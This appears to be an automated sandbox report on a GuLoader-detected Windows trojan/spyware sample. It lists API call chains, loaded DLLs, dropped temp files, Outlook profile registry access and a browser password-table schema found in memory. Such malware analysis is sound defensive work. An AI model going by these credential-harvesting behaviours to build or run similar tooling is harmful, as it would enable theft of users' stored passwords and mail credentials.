Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_00406AF2	5_2_00406AF2
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_00154328	5_2_00154328
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_00158DA0	5_2_00158DA0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_00155968	5_2_00155968
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_00155F90	5_2_00155F90
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_00152DD1	5_2_00152DD1
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CACCA0	5_2_34CACCA0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA2D68	5_2_34CA2D68
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA553F	5_2_34CA553F
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAF64B	5_2_34CAF64B
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA7628	5_2_34CA7628
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAC638	5_2_34CAC638
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA2A20	5_2_34CA2A20
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA03C4	5_2_34CA03C4
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA331B	5_2_34CA331B
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAB4EC	5_2_34CAB4EC
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CACC91	5_2_34CACC91
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CABD88	5_2_34CABD88
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CADEE1	5_2_34CADEE1
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA6E91	5_2_34CA6E91
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA6EA0	5_2_34CA6EA0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAE790	5_2_34CAE790
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA7F09	5_2_34CA7F09
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA7848	5_2_34CA7848
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAF043	5_2_34CAF043
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAB07F	5_2_34CAB07F
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAC1F2	5_2_34CAC1F2
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAB944	5_2_34CAB944
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAAAEB	5_2_34CAAAEB
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CADA89	5_2_34CADA89
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAEBF7	5_2_34CAEBF7
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA6B87	5_2_34CA6B87
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAE339	5_2_34CAE339
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A896C8	5_2_37A896C8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A88650	5_2_37A88650
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8BDF0	5_2_37A8BDF0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A89D10	5_2_37A89D10
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8A360	5_2_37A8A360
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8BA97	5_2_37A8BA97
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8A9B0	5_2_37A8A9B0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A81858	5_2_37A81858
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A80FA8	5_2_37A80FA8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A867BC	5_2_37A867BC
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8AFF8	5_2_37A8AFF8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8AFF7	5_2_37A8AFF7
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A867C0	5_2_37A867C0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A85F10	5_2_37A85F10
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A83F60	5_2_37A83F60
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A83F70	5_2_37A83F70
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A896B8	5_2_37A896B8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A836B0	5_2_37A836B0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A836C0	5_2_37A836C0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A82E10	5_2_37A82E10
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A85660	5_2_37A85660
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8565C	5_2_37A8565C
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A88652	5_2_37A88652
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A84DB0	5_2_37A84DB0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A84DB2	5_2_37A84DB2
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8BDE1	5_2_37A8BDE1
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A89D00	5_2_37A89D00
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A82560	5_2_37A82560
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A82550	5_2_37A82550
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A81CA0	5_2_37A81CA0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A81CB0	5_2_37A81CB0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A874C8	5_2_37A874C8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A81400	5_2_37A81400
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A86C18	5_2_37A86C18
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A843B9	5_2_37A843B9
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A813F0	5_2_37A813F0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A843C8	5_2_37A843C8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A83B08	5_2_37A83B08
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A83B18	5_2_37A83B18
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A86368	5_2_37A86368
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A87B62	5_2_37A87B62
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8A358	5_2_37A8A358
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A85AB8	5_2_37A85AB8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A85208	5_2_37A85208
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A85207	5_2_37A85207
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A83268	5_2_37A83268
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A829A8	5_2_37A829A8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8A9A0	5_2_37A8A9A0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A829B8	5_2_37A829B8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8F120	5_2_37A8F120
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A8F130	5_2_37A8F130
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A82108	5_2_37A82108
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A84820	5_2_37A84820
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A87070	5_2_37A87070
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37A80040	5_2_37A80040
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37FBE790	5_2_37FBE790
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37FBD608	5_2_37FBD608
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37FBC6B0	5_2_37FBC6B0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_37FB8328	5_2_37FB8328

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Code function: String function: 00402C41 appears 49 times

Source: 6mGpn6kupm.exe, 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 6mGpn6kupm.exe
Source: 6mGpn6kupm.exe, 00000005.00000002.2541418618.000000000478E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 6mGpn6kupm.exe
Source: 6mGpn6kupm.exe, 00000005.00000002.2567603799.0000000034B87000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 6mGpn6kupm.exe
Source: 6mGpn6kupm.exe, 00000005.00000000.1709625341.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 6mGpn6kupm.exe
Source: 6mGpn6kupm.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 6mGpn6kupm.exe

Source: 6mGpn6kupm.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

File created: C:\Users\user\AppData\Local\Temp\nseBEA8.tmp

Jump to behavior

Source: 6mGpn6kupm.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034E77000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034E63000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034E55000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034E45000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034E84000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2570255564.0000000035D8D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 6mGpn6kupm.exe	ReversingLabs: Detection: 57%
Source: 6mGpn6kupm.exe	Virustotal: Detection: 76%

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

File read: C:\Users\user\Desktop\6mGpn6kupm.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\6mGpn6kupm.exe "C:\Users\user\Desktop\6mGpn6kupm.exe"
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process created: C:\Users\user\Desktop\6mGpn6kupm.exe "C:\Users\user\Desktop\6mGpn6kupm.exe"
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process created: C:\Users\user\Desktop\6mGpn6kupm.exe "C:\Users\user\Desktop\6mGpn6kupm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 6mGpn6kupm.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.1714407995.00000000051B6000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Code function: 0_2_701C1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_701C1B5F

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA1DB5 push ds; retf 6134h		5_2_34CA205E
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CA2063 push ds; retf 0034h		5_2_34CA2066

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

File created: C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
